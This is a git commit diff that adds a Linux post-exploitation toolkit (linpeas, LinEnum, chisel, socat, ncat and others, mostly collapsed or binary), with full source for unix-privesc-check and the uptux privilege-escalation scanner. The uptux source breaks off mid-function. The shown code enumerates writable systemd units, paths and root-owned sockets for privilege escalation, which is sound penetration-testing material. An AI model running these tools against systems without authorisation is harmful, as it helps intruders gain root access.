Repository restructuring
This commit is contained in:
1352
payloads/linux/LinEnum.sh
Executable file
1352
payloads/linux/LinEnum.sh
Executable file
File diff suppressed because it is too large
Load Diff
BIN
payloads/linux/cdk64
Normal file
BIN
payloads/linux/cdk64
Normal file
Binary file not shown.
BIN
payloads/linux/chisel
Executable file
BIN
payloads/linux/chisel
Executable file
Binary file not shown.
BIN
payloads/linux/chisel64
Executable file
BIN
payloads/linux/chisel64
Executable file
Binary file not shown.
1468
payloads/linux/deepce.sh
Executable file
1468
payloads/linux/deepce.sh
Executable file
File diff suppressed because it is too large
Load Diff
11287
payloads/linux/linpeas.sh
Normal file
11287
payloads/linux/linpeas.sh
Normal file
File diff suppressed because one or more lines are too long
2771
payloads/linux/linux-exploit-suggester.sh
Executable file
2771
payloads/linux/linux-exploit-suggester.sh
Executable file
File diff suppressed because it is too large
Load Diff
1577
payloads/linux/lse.sh
Executable file
1577
payloads/linux/lse.sh
Executable file
File diff suppressed because it is too large
Load Diff
BIN
payloads/linux/ncat
Executable file
BIN
payloads/linux/ncat
Executable file
Binary file not shown.
BIN
payloads/linux/pspy
Normal file
BIN
payloads/linux/pspy
Normal file
Binary file not shown.
BIN
payloads/linux/pspy64
Executable file
BIN
payloads/linux/pspy64
Executable file
Binary file not shown.
BIN
payloads/linux/socat
Normal file
BIN
payloads/linux/socat
Normal file
Binary file not shown.
BIN
payloads/linux/socat64
Normal file
BIN
payloads/linux/socat64
Normal file
Binary file not shown.
137
payloads/linux/unix-privesc-check.sh
Executable file
137
payloads/linux/unix-privesc-check.sh
Executable file
@@ -0,0 +1,137 @@
|
||||
#!/bin/sh
|
||||
# $Revision$
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
#
|
||||
# (c) Tim Brown, 2012
|
||||
# <mailto:timb@nth-dimension.org.uk>
|
||||
# <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
|
||||
|
||||
. lib/misc/stdio
|
||||
|
||||
header () {
|
||||
VERSION="2.1"
|
||||
SVNVERSION="$Revision$" # Don't change this line. Auto-updated.
|
||||
SVNVNUM="`echo $SVNVERSION | sed \"s/[^0-9]//g\"`"
|
||||
if [ -n "${SVNVNUM}" ]; then
|
||||
VERSION="${VERSION}-svn-${SVNVNUM}"
|
||||
fi
|
||||
printf "unix-privesc-check v${VERSION} ( http://code.google.com/p/unix-privesc-check )\n\n"
|
||||
}
|
||||
|
||||
version () {
|
||||
header
|
||||
preamble
|
||||
printf "Brought to you by:\n"
|
||||
cat doc/AUTHORS
|
||||
exit 1
|
||||
}
|
||||
|
||||
preamble () {
|
||||
printf "Shell script to check for simple privilege escalation vectors on UNIX systems.\n\n"
|
||||
}
|
||||
|
||||
usage () {
|
||||
header
|
||||
preamble
|
||||
printf "Usage: ${0}\n"
|
||||
printf "\n"
|
||||
printf "\t--help\tdisplay this help and exit\n"
|
||||
printf "\t--version\tdisplay version and exit\n"
|
||||
printf "\t--color\tenable output coloring\n"
|
||||
printf "\t--verbose\tverbose level (0-2, default: 1)\n"
|
||||
printf "\t--type\tselect from one of the following check types:\n"
|
||||
for checktype in lib/checks/enabled/*
|
||||
do
|
||||
printf "\t\t`basename ${checktype}`\n"
|
||||
done
|
||||
printf "\t--checks\tprovide a comma separated list of checks to run, select from the following checks:\n"
|
||||
for check in lib/checks/*
|
||||
do
|
||||
if [ "`basename \"${check}\"`" != "enabled" ]
|
||||
then
|
||||
printf "\t\t`basename ${check}`\n"
|
||||
fi
|
||||
done
|
||||
exit 1
|
||||
}
|
||||
|
||||
# TODO make it use lib/misc/validate
|
||||
CHECKS=""
|
||||
TYPE="all"
|
||||
COLORING="0"
|
||||
VERBOSE="1"
|
||||
while [ -n "${1}" ]
|
||||
do
|
||||
case "${1}" in
|
||||
--help|-h)
|
||||
usage
|
||||
;;
|
||||
--version|-v|-V)
|
||||
version
|
||||
;;
|
||||
--color)
|
||||
COLORING="1"
|
||||
;;
|
||||
--verbose)
|
||||
shift
|
||||
VERBOSE="${1}"
|
||||
;;
|
||||
--type|-t)
|
||||
shift
|
||||
TYPE="${1}"
|
||||
;;
|
||||
--checks|-c)
|
||||
shift
|
||||
CHECKS="${1}"
|
||||
;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
header
|
||||
if [ "${VERBOSE}" != "0" -a "${VERBOSE}" != "1" -a "${VERBOSE}" != "2" ]
|
||||
then
|
||||
stdio_message_error "upc" "the provided verbose level ${VERBOSE} is invalid - use 0, 1 or 2 next time"
|
||||
VERBOSE="1"
|
||||
fi
|
||||
if [ -n "${CHECKS}" ]
|
||||
then
|
||||
for checkfilename in `printf "${CHECKS}" | tr -d " " | tr "," " "`
|
||||
do
|
||||
if [ ! -e "lib/checks/${checkfilename}" ]
|
||||
then
|
||||
stdio_message_error "upc" "the provided check name '${checkfilename}' does not exist"
|
||||
else
|
||||
. "lib/checks/${checkfilename}"
|
||||
`basename "${checkfilename}"`_init
|
||||
`basename "${checkfilename}"`_main
|
||||
`basename "${checkfilename}"`_fini
|
||||
fi
|
||||
done
|
||||
else
|
||||
if [ ! -d "lib/checks/enabled/${TYPE}" ]
|
||||
then
|
||||
stdio_message_error "upc" "the provided check type '${TYPE}' does not exist"
|
||||
else
|
||||
for checkfilename in lib/checks/enabled/${TYPE}/*
|
||||
do
|
||||
. "${checkfilename}"
|
||||
`basename "${checkfilename}"`_init
|
||||
`basename "${checkfilename}"`_main
|
||||
`basename "${checkfilename}"`_fini
|
||||
done
|
||||
fi
|
||||
fi
|
||||
exit 0
|
||||
804
payloads/linux/uptux.py
Executable file
804
payloads/linux/uptux.py
Executable file
@@ -0,0 +1,804 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
uptux by initstring (gitlab.com/initstring)
|
||||
|
||||
This tool checks for configuration issues on Linux systems that may lead to
|
||||
privilege escalation.
|
||||
|
||||
All functionality is contained in a single file, because installing packages
|
||||
in restricted shells is a pain.
|
||||
"""
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import getpass
|
||||
import argparse
|
||||
import datetime
|
||||
import subprocess
|
||||
import inspect
|
||||
import glob
|
||||
import re
|
||||
|
||||
|
||||
BANNER = r'''
|
||||
|
||||
|
||||
|
||||
____ ___ ___________
|
||||
| | \_____\__ ___/_ _____ ___
|
||||
| | /\____ \| | | | \ \/ /
|
||||
| | / | |_> > | | | /> <
|
||||
|______/ | __/|____| |____//__/\_ \
|
||||
|__| \/
|
||||
|
||||
|
||||
|
||||
PrivEsc for modern Linux systems
|
||||
github.com/initstring/uptux
|
||||
|
||||
|
||||
'''
|
||||
|
||||
|
||||
########################## Global Declarations Follow #########################
|
||||
|
||||
LOGFILE = 'log-uptux-{:%Y-%m-%d-%H.%M.%S}'.format(datetime.datetime.now())
|
||||
PARSER = argparse.ArgumentParser(description=
|
||||
"PrivEsc for modern Linux systems,"
|
||||
" by initstring (gitlab.com/initstring)")
|
||||
PARSER.add_argument('-n', '--nologging', action='store_true',
|
||||
help='do not write output to a logfile')
|
||||
PARSER.add_argument('-d', '--debug', action='store_true',
|
||||
help='print some debugging info to the console')
|
||||
ARGS = PARSER.parse_args()
|
||||
|
||||
## Known directories for storing systemd files.
|
||||
SYSTEMD_DIRS = ['/etc/systemd/**/',
|
||||
'/lib/systemd/**/',
|
||||
'/run/systemd/**/',
|
||||
'/usr/lib/systemd/**/']
|
||||
|
||||
## Known directories for storing D-Bus configuration files
|
||||
DBUS_DIRS = ['/etc/dbus-1/system.d/',
|
||||
'/etc/dbus-1/session.d']
|
||||
|
||||
# Target files that we know we cannot exploit
|
||||
NOT_VULN = ['/dev/null',
|
||||
'.']
|
||||
|
||||
# Used to enable/disable the relative path checks of systemd
|
||||
SYSTEMD_PATH_WRITABLE = False
|
||||
########################## End of Global Declarations #########################
|
||||
|
||||
|
||||
############################ Setup Functions Follow ###########################
|
||||
|
||||
# This is the place for functions that help set up the application.
|
||||
|
||||
def tee(text, **kwargs):
|
||||
"""Used to log and print concurrently"""
|
||||
|
||||
# Defining variables to print color-coded messages to the console.
|
||||
colors = {'green': '\033[92m',
|
||||
'blue': '\033[94m',
|
||||
'orange': '\033[93m',
|
||||
'red': '\033[91m',}
|
||||
end_color = '\033[0m'
|
||||
boxes = {'ok': colors['blue'] + '[*] ' + end_color,
|
||||
'note': colors['green'] + '[+] ' + end_color,
|
||||
'warn': colors['orange'] + '[!] ' + end_color,
|
||||
'vuln': colors['red'] + '[VULNERABLE] ' + end_color,
|
||||
'sus': colors['orange'] + '[INVESTIGATE] ' + end_color}
|
||||
|
||||
# If this function is called with an optional 'box=xxx' parameter, these
|
||||
# will be prepended to the message.
|
||||
box = kwargs.get('box', '')
|
||||
if box:
|
||||
box = boxes[box]
|
||||
|
||||
# First, just print the item to the console.
|
||||
print(box + text)
|
||||
|
||||
# Then, write it to the log if logging is not disabled
|
||||
if not ARGS.nologging:
|
||||
try:
|
||||
with open(LOGFILE, 'a') as logfile:
|
||||
logfile.write(box + text + '\n')
|
||||
except PermissionError:
|
||||
ARGS.nologging = True
|
||||
print(boxes['warn'] + "Could not create a log file due to"
|
||||
" insufficient permissions. Continuing with checks...")
|
||||
|
||||
|
||||
def check_handler(check, check_name, check_desc):
|
||||
"""Check handler
|
||||
|
||||
This function takes a dictionary of check_desc,check_name and will
|
||||
iterate through them all.
|
||||
"""
|
||||
tee("\n\n++++++++++ {}: {} ++++++++++\n\n"
|
||||
.format(check_name, check_desc))
|
||||
tee("Starting module at {:%Y-%m-%d-%H.%M.%S}"
|
||||
.format(datetime.datetime.now()), box='ok')
|
||||
tee("\n")
|
||||
check()
|
||||
tee("\n")
|
||||
tee("Finished module at {:%Y-%m-%d-%H.%M.%S}\n"
|
||||
.format(datetime.datetime.now()), box='ok')
|
||||
|
||||
|
||||
def get_function_order(function):
|
||||
"""Helper function for build_checks_list"""
|
||||
# Grabs the line number of a function it is passed.
|
||||
order = function.__code__.co_firstlineno
|
||||
return order
|
||||
|
||||
|
||||
def build_checks_list():
|
||||
"""Dynamically build list of checks to execute
|
||||
|
||||
This function will grab, in order, all functions that start with
|
||||
'uptux_check_' and populate a list. This is then used to run the checks.
|
||||
"""
|
||||
# Start to build a list of functions we will execute.
|
||||
uptux_checks = []
|
||||
|
||||
# Get the name of this python script and all the functions inside it.
|
||||
current_module = sys.modules[__name__]
|
||||
all_functions = inspect.getmembers(current_module, inspect.isfunction)
|
||||
|
||||
# If the function name matches 'uptux_check_' we will include it.
|
||||
for function in all_functions:
|
||||
function_name = function[0]
|
||||
function_object = function[1]
|
||||
if 'uptux_check_' in function_name:
|
||||
uptux_checks.append(function_object)
|
||||
|
||||
# Use the helper function to sort by line number in script.
|
||||
uptux_checks.sort(key=get_function_order)
|
||||
|
||||
# Return the sorted list of functions.
|
||||
return uptux_checks
|
||||
|
||||
############################# End Setup Functions #############################
|
||||
|
||||
|
||||
########################### Helper Functions Follow ###########################
|
||||
|
||||
# This is the place to put functions that are used by multiple "Individual
|
||||
# Checks" (those starting with uptux_check_).
|
||||
|
||||
def shell_exec(command):
|
||||
"""Executes Linux shell commands"""
|
||||
# Split the command into a list as needed by subprocess
|
||||
command = command.split()
|
||||
|
||||
# Get both stdout and stderror from command. Grab the Python exception
|
||||
# if there is one.
|
||||
try:
|
||||
out_bytes = subprocess.check_output(command,
|
||||
stderr=subprocess.STDOUT)
|
||||
except subprocess.CalledProcessError as error:
|
||||
out_bytes = error.output
|
||||
except OSError as error:
|
||||
print('Could not run the following OS command. Sorry!\n'
|
||||
' Command: {}'.format(command))
|
||||
print(error)
|
||||
sys.exit()
|
||||
|
||||
# Return the lot as a text string for processing.
|
||||
out_text = out_bytes.decode('utf-8')
|
||||
out_text = out_text.rstrip()
|
||||
return out_text
|
||||
|
||||
|
||||
def find_system_files(**kwargs):
|
||||
"""Locates system files
|
||||
|
||||
Expected kwargs: known_dirs, search_mask
|
||||
"""
|
||||
|
||||
# Define known Linux folders for storing service unit definitions
|
||||
return_list = set()
|
||||
|
||||
# Recursively gather all service unit from the known directories
|
||||
# and add them to a deduplicated set.
|
||||
for directory in kwargs['known_dirs']:
|
||||
found_files = glob.glob(directory + kwargs['search_mask'])
|
||||
for item in found_files:
|
||||
# We don't care about files that point to /dev/null.
|
||||
if '/dev/null' not in os.path.realpath(item):
|
||||
return_list.add(item)
|
||||
|
||||
if ARGS.debug:
|
||||
print("DEBUG, FOUND FILES")
|
||||
for item in return_list:
|
||||
print(item)
|
||||
|
||||
return return_list
|
||||
|
||||
|
||||
def regex_vuln_search(**kwargs):
|
||||
"""Helper function for searching text files
|
||||
|
||||
This function will take a list of file paths and search through
|
||||
them with a given regex. Relevant messages will be printed to the console
|
||||
and log.
|
||||
|
||||
Expected kwargs: file_paths, regex, message_text, message_box
|
||||
"""
|
||||
# Start a list of dictionaries for files with interesting content.
|
||||
return_list = []
|
||||
|
||||
# Open up each individual file and read the text into memory.
|
||||
for file_name in kwargs['file_paths']:
|
||||
return_dict = {}
|
||||
|
||||
# Continue if we can't access the file.
|
||||
if not os.access(file_name, os.R_OK):
|
||||
continue
|
||||
|
||||
file_object = open(file_name, 'r')
|
||||
file_text = file_object.read()
|
||||
# Use the regex we pass in to the function to look for vulns.
|
||||
found = re.findall(kwargs['regex'], file_text)
|
||||
|
||||
# Save the file name and the interesting lines of text
|
||||
if found:
|
||||
return_dict['file_name'] = file_name
|
||||
return_dict['text'] = found
|
||||
return_list.append(return_dict)
|
||||
|
||||
# If the function is supplied with message info, print to console and log.
|
||||
# This function may be used instead as input to another function, so we
|
||||
# don't always want to print here.
|
||||
if return_list and kwargs['message_text'] and kwargs['message_box']:
|
||||
# Print to console and log the interesting file names and content.
|
||||
tee("")
|
||||
tee(kwargs['message_text'], box=kwargs['message_box'])
|
||||
for item in return_list:
|
||||
tee(" {}:".format(item['file_name']))
|
||||
for text in item['text']:
|
||||
tee(" {}".format(text))
|
||||
tee("")
|
||||
|
||||
if ARGS.debug:
|
||||
print("DEBUG, SEARCH RESULTS")
|
||||
for item in return_list:
|
||||
print(item['file_name'])
|
||||
for text in item['text']:
|
||||
print(" {}".format(text))
|
||||
|
||||
return return_list
|
||||
|
||||
|
||||
def check_file_permissions(**kwargs):
|
||||
"""Helper function to check permissions and symlink status
|
||||
|
||||
This function will take a list of file paths, resolve them to their
|
||||
actual location (for symlinks), and determine if they are writeable
|
||||
by the current user. Will also alert on broken symlinks and whether
|
||||
the target directory for the broken link is writeable.
|
||||
|
||||
Expected kwargs: file_paths, files_message_text, dirs_message_text,
|
||||
message_box
|
||||
"""
|
||||
# Start deuplicated sets for interesting files and directories.
|
||||
writeable_files = set()
|
||||
writeable_dirs = set()
|
||||
|
||||
for file_name in kwargs['file_paths']:
|
||||
|
||||
# Ignore known not-vulnerable targets
|
||||
if file_name in NOT_VULN:
|
||||
continue
|
||||
|
||||
# Is it a symlink? If so, get the real path and check permissions.
|
||||
# If it is broken, check permissions on the parent directory.
|
||||
if os.path.islink(file_name):
|
||||
target = os.readlink(file_name)
|
||||
|
||||
# Some symlinks use relative path names. Find these and prepend
|
||||
# the directory name so we can investigate properly.
|
||||
if target[0] == '.':
|
||||
parent_dir = os.path.dirname(file_name)
|
||||
target = parent_dir + '/' + target
|
||||
|
||||
if os.path.exists(target) and os.access(target, os.W_OK):
|
||||
writeable_files.add('{} -- symlink --> {}'
|
||||
.format(file_name, target))
|
||||
else:
|
||||
parent_dir = os.path.dirname(target)
|
||||
if os.access(parent_dir, os.W_OK):
|
||||
writeable_dirs.add((file_name, target))
|
||||
|
||||
# OK, not a symlink. Just check permissions.
|
||||
else:
|
||||
if os.access(file_name, os.W_OK):
|
||||
writeable_files.add(file_name)
|
||||
|
||||
if writeable_files:
|
||||
# Print to console and log the interesting findings.
|
||||
tee("")
|
||||
tee(kwargs['files_message_text'], box=kwargs['message_box'])
|
||||
for item in writeable_files:
|
||||
tee(" {}".format(item))
|
||||
|
||||
if writeable_dirs:
|
||||
# Print to console and log the interesting findings.
|
||||
tee("")
|
||||
tee(kwargs['dirs_message_text'], box=kwargs['message_box'])
|
||||
for item in writeable_dirs:
|
||||
tee(" {} --> {}".format(item[0], item[1]))
|
||||
|
||||
if not writeable_files and not writeable_dirs:
|
||||
tee("")
|
||||
tee("No writeable targets. This is expected...",
|
||||
box='note')
|
||||
|
||||
|
||||
def check_command_permission(**kwargs):
|
||||
"""Checks permissions on commands returned from inside files
|
||||
|
||||
Loops through a provided list of dictionaries with a file name and
|
||||
commands found within. Checks to see if they are writeable or missing and
|
||||
living in a writable directory.
|
||||
|
||||
Expected kwargs: file_paths, regex, message_text, message_box
|
||||
"""
|
||||
# Start an empty list for the return of the writable files/commands
|
||||
return_list = []
|
||||
|
||||
for item in kwargs['commands']:
|
||||
return_dict = {}
|
||||
return_dict['text'] = []
|
||||
|
||||
# The commands we have are long and may include parameters or even
|
||||
# multiple commands with pipes and ;. We try to split this all out
|
||||
# below.
|
||||
for command in item['text']:
|
||||
command = re.sub(r'[\'"]', '', command)
|
||||
command = re.split(r'[ ;\|]', command)
|
||||
|
||||
# We now have a list of some commands and some parameters and
|
||||
# other garbage. Checking for os access will clean this up for us.
|
||||
# The lines below determine if we have write access to anything.
|
||||
# It also checks for the case where the target does not exist but
|
||||
# the parent directory is writeable.
|
||||
for split_command in command:
|
||||
vuln = False
|
||||
|
||||
# Ignore known not-vulnerable targets
|
||||
if split_command in NOT_VULN:
|
||||
continue
|
||||
|
||||
# Some systemd items will specicify a command with a path
|
||||
# relative to the calling item, particularly timer files.
|
||||
relative_path = os.path.dirname(item['file_name'])
|
||||
|
||||
# First, check the obvious - is this a writable command?
|
||||
if os.access(split_command, os.W_OK):
|
||||
vuln = True
|
||||
|
||||
# What about if we assume it is a relative path?
|
||||
elif os.access(relative_path + '/' + split_command, os.W_OK):
|
||||
vuln = True
|
||||
|
||||
# Or maybe it doesn't exist at all, but is in a writeable
|
||||
# director?
|
||||
elif (os.access(os.path.dirname(split_command), os.W_OK)
|
||||
and not os.path.exists(split_command)):
|
||||
vuln = True
|
||||
|
||||
# If so, pack it all up in a new dictionary which is used
|
||||
# below for output.
|
||||
if vuln:
|
||||
return_dict['file_name'] = item['file_name']
|
||||
return_dict['text'].append(split_command)
|
||||
if return_dict not in return_list:
|
||||
return_list.append(return_dict)
|
||||
|
||||
if return_list and kwargs['message_text'] and kwargs['message_box']:
|
||||
# Print to console and log the interesting file names and content.
|
||||
tee("")
|
||||
tee(kwargs['message_text'], box=kwargs['message_box'])
|
||||
for item in return_list:
|
||||
tee(" {}:".format(item['file_name']))
|
||||
for text in item['text']:
|
||||
tee(" {}".format(text))
|
||||
tee("")
|
||||
|
||||
|
||||
########################## Helper Functions Complete ##########################
|
||||
|
||||
|
||||
########################### Individual Checks Follow ##########################
|
||||
|
||||
# Note: naming a new function 'uptux_check_xxxx' will automatically
|
||||
# include it in execution. These will trigger in the same order listed
|
||||
# in the script. The docstring will be pulled and used in the console and
|
||||
# log file, so keep it short (one line).
|
||||
|
||||
def uptux_check_sysinfo():
|
||||
"""Gather basic OS information"""
|
||||
# Gather a few basics for the report.
|
||||
uname = os.uname()
|
||||
tee("Host: {}".format(uname[1]))
|
||||
tee("OS: {}, {}".format(uname[0], uname[3]))
|
||||
tee("Kernel: {}".format(uname[2]))
|
||||
tee("Current user: {} (UID {} GID {})".format(getpass.getuser(),
|
||||
os.getuid(),
|
||||
os.getgid()))
|
||||
tee("Member of following groups:\n {}".format(shell_exec('groups')))
|
||||
|
||||
|
||||
def uptux_check_systemd_paths():
|
||||
"""Check if systemd PATH is writeable"""
|
||||
# Define the bash command.
|
||||
command = 'systemctl show-environment'
|
||||
output = shell_exec(command)
|
||||
|
||||
# Define the regex to find in the output.
|
||||
regex = re.compile(r'PATH=(.*$)')
|
||||
|
||||
# Take the output from bash and split it into a list of paths.
|
||||
output = re.findall(regex, output)
|
||||
|
||||
# This command may fail in some environments, only proceed if we have
|
||||
# a good match.
|
||||
if output:
|
||||
output = output[0].split(':')
|
||||
|
||||
# Check each path - if it is writable, add it to a list.
|
||||
writeable_paths = []
|
||||
for item in output:
|
||||
if os.access(item, os.W_OK):
|
||||
writeable_paths.append(item)
|
||||
else:
|
||||
writeable_paths = False
|
||||
|
||||
# Write the status to the console and log.
|
||||
if writeable_paths:
|
||||
tee("The following systemd paths are writeable. THIS IS ODD!\n"
|
||||
"See if you can combine this with a relative path Exec statement"
|
||||
" for privesc:",
|
||||
box='vuln')
|
||||
for path in writeable_paths:
|
||||
tee(" {}".format(path))
|
||||
global SYSTEMD_PATH_WRITABLE
|
||||
SYSTEMD_PATH_WRITABLE = True
|
||||
else:
|
||||
tee("No systemd paths are writeable. This is expected...",
|
||||
box='note')
|
||||
|
||||
|
||||
def uptux_check_services():
|
||||
"""Inspect systemd service unit files"""
|
||||
# Define known Linux folders for storing service unit definitions
|
||||
units = set()
|
||||
mask = '*.service'
|
||||
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||
search_mask=mask)
|
||||
|
||||
tee("Found {} service units to analyse...\n".format(len(units)),
|
||||
box='ok')
|
||||
|
||||
# Test for write access to any service files.
|
||||
# Will resolve symlinks to their target and also check for broken links.
|
||||
text = 'Found writeable service unit files:'
|
||||
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||
box = 'vuln'
|
||||
tee("")
|
||||
tee("Checking permissions on service unit files...",
|
||||
box='ok')
|
||||
check_file_permissions(file_paths=units,
|
||||
files_message_text=text,
|
||||
dirs_message_text=text2,
|
||||
message_box=box)
|
||||
|
||||
# Only check relative paths if we can abuse them
|
||||
if SYSTEMD_PATH_WRITABLE:
|
||||
# Look for relative calls to binaries.
|
||||
# Example: ExecStart=somfolder/somebinary
|
||||
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
|
||||
r'(?:@[^/]' # special exec
|
||||
r'|-[^/]' # special exec
|
||||
r'|\+[^/]' # special exec
|
||||
r'|![^/]' # special exec
|
||||
r'|!![^/]' # special exec
|
||||
r'|)' # or maybe no special exec
|
||||
r'[^/@\+!-]' # not abs path or special exec
|
||||
r'.*', # rest of line
|
||||
re.MULTILINE)
|
||||
text = ('Possible relative path in an Exec statement.\n'
|
||||
'Unless you have writeable systemd paths, you won\'t be able to'
|
||||
' exploit this:')
|
||||
box = 'sus'
|
||||
tee("")
|
||||
tee("Checking for relative paths in service unit files [check 1]...",
|
||||
box='ok')
|
||||
regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
# Look for relative calls to binaries but invoked by an interpreter.
|
||||
# Example: ExecStart=/bin/sh -c 'somefolder/somebinary'
|
||||
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
|
||||
r'(?:@[^/]' # special exec
|
||||
r'|-[^/]' # special exec
|
||||
r'|\+[^/]' # special exec
|
||||
r'|![^/]' # special exec
|
||||
r'|!![^/]' # special exec
|
||||
r'|)' # or maybe no special exec
|
||||
r'.*?(?:/bin/sh|/bin/bash) ' # interpreter
|
||||
r'(?:[\'"]|)' # might have quotes
|
||||
r'(?:-[a-z]+|)'# might have params
|
||||
r'(?:[ ]+|)' # might have more spaces now
|
||||
r'[^/-]' # not abs path or param
|
||||
r'.*', # rest of line
|
||||
re.MULTILINE)
|
||||
text = ('Possible relative path invoked with an interpreter in an'
|
||||
' Exec statement.\n'
|
||||
'Unless you have writable systemd paths, you won\'t be able to'
|
||||
' exploit this:')
|
||||
box = 'sus'
|
||||
tee("")
|
||||
tee("Checking for relative paths in service unit files [check 2]...",
|
||||
box='ok')
|
||||
regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
# Check for write access to any commands invoked by Exec statements.
|
||||
# Thhs regex below is used to extract command lines.
|
||||
regex = re.compile(r'^Exec.*?=[!@+-]*(.*?$)',
|
||||
re.MULTILINE)
|
||||
# We don't pass message info to this function as we need to perform more
|
||||
# processing on the output to determine what is writeable.
|
||||
tee("")
|
||||
tee("Checking for write access to commands referenced in service files...",
|
||||
box='ok')
|
||||
service_commands = regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text='',
|
||||
message_box='')
|
||||
|
||||
# Another helper function to take the extracted commands and check for
|
||||
# write permissions.
|
||||
text = 'You have write access to commands referred to in service files:'
|
||||
box = 'vuln'
|
||||
check_command_permission(commands=service_commands,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
|
||||
def uptux_check_timer_units():
|
||||
"""Inspect systemd timer unit files"""
|
||||
units = set()
|
||||
mask = '*.timer'
|
||||
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||
search_mask=mask)
|
||||
|
||||
tee("Found {} timer units to analyse...\n".format(len(units)),
|
||||
box='ok')
|
||||
|
||||
# Test for write access to any timer files.
|
||||
# Will resolve symlinks to their target and also check for broken links.
|
||||
text = 'Found writeable timer unit files:'
|
||||
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||
box = 'vuln'
|
||||
tee("")
|
||||
tee("Checking permissions on timer unit files...",
|
||||
box='ok')
|
||||
check_file_permissions(file_paths=units,
|
||||
files_message_text=text,
|
||||
dirs_message_text=text2,
|
||||
message_box=box)
|
||||
|
||||
# Timers may reference systemd services, which are already being checked.
|
||||
# But they may reference a specific script (often a '.target' file of the
|
||||
# same name. Check to see if the action called is writable.
|
||||
# The regex below is used to extract these targets.
|
||||
regex = re.compile(r'^Unit=*(.*?$)',
|
||||
re.MULTILINE)
|
||||
|
||||
# We don't pass message info to this function as we need to perform more
|
||||
# processing on the output to determine what is writeable.
|
||||
tee("")
|
||||
tee("Checking for write access to commands referenced in timer files...",
|
||||
box='ok')
|
||||
timer_commands = regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text='',
|
||||
message_box='')
|
||||
|
||||
# Another helper function to take the extracted commands and check for
|
||||
# write permissions.
|
||||
text = 'You have write access to commands referred to in timer files:'
|
||||
box = 'vuln'
|
||||
check_command_permission(commands=timer_commands,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
|
||||
def uptux_check_socket_units():
|
||||
"""Inspect systemd socket unit files"""
|
||||
units = set()
|
||||
mask = '*.socket'
|
||||
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||
search_mask=mask)
|
||||
|
||||
tee("Found {} socket units to analyse...\n".format(len(units)),
|
||||
box='ok')
|
||||
|
||||
# Test for write access to any socket files.
|
||||
# Will resolve symlinks to their target and also check for broken links.
|
||||
text = 'Found writeable socket unit files:'
|
||||
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||
box = 'vuln'
|
||||
tee("")
|
||||
tee("Checking permissions on socket unit files...",
|
||||
box='ok')
|
||||
check_file_permissions(file_paths=units,
|
||||
files_message_text=text,
|
||||
dirs_message_text=text2,
|
||||
message_box=box)
|
||||
|
||||
# Check for write access to any socket files created by a service.
|
||||
# This can be interesting - I've seen a systemd service run a REST
|
||||
# API on a AF_UNIX socket. This would be missed by normal privesc
|
||||
# checks.
|
||||
# Thhs regex below is used to extract command lines.
|
||||
regex = re.compile(r'^Listen.*?=[!@+-]*(.*?$)',
|
||||
re.MULTILINE)
|
||||
|
||||
# We don't pass message info to this function as we need to perform more
|
||||
# processing on the output to determine what is writeable.
|
||||
tee("")
|
||||
tee("Checking for write access to AF_UNIX sockets...",
|
||||
box='ok')
|
||||
socket_files = regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text='',
|
||||
message_box='')
|
||||
|
||||
# Another helper function to take the extracted commands and check for
|
||||
# write permissions.
|
||||
text = ('You have write access to AF_UNIX socket files invoked by a'
|
||||
' systemd service.\n'
|
||||
'This could be interesting. \n'
|
||||
'You can attach to these files to look for an exploitable API.')
|
||||
box = 'sus'
|
||||
check_command_permission(commands=socket_files,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
|
||||
def uptux_check_socket_apis():
|
||||
"""Look for web servers on UNIX domain sockets"""
|
||||
# Use Linux ss tool to find sockets in listening state
|
||||
command = 'ss -xlp -H state listening'
|
||||
output = shell_exec(command)
|
||||
|
||||
# We get Unicode back from the above command, let's fix
|
||||
output = str(output)
|
||||
|
||||
root_sockets = []
|
||||
socket_replies = {}
|
||||
|
||||
# We want to grab all the strings that look like socket paths
|
||||
sockets = re.findall(r' (/.*?) ', output)
|
||||
abstract_sockets = re.findall(r' (@.*?) ', output)
|
||||
|
||||
for socket_path in sockets:
|
||||
# For now, we are only interested in sockets owned by root
|
||||
if os.path.exists(socket_path) and os.stat(socket_path).st_uid == 0:
|
||||
root_sockets.append(socket_path)
|
||||
|
||||
tee("Trying to connect to {} unix sockets owned by uid 0..."
|
||||
.format(len(root_sockets)), box='ok')
|
||||
tee("")
|
||||
|
||||
# Cycle through each and try to send a raw HTTP GET
|
||||
for socket_target in root_sockets:
|
||||
|
||||
# Define a raw HTTP GET request
|
||||
http_get = ('GET / HTTP/1.1\r\n'
|
||||
'Host: localhost\r\n'
|
||||
'\r\n\r\n')
|
||||
|
||||
# Try to interact with the socket like a web API
|
||||
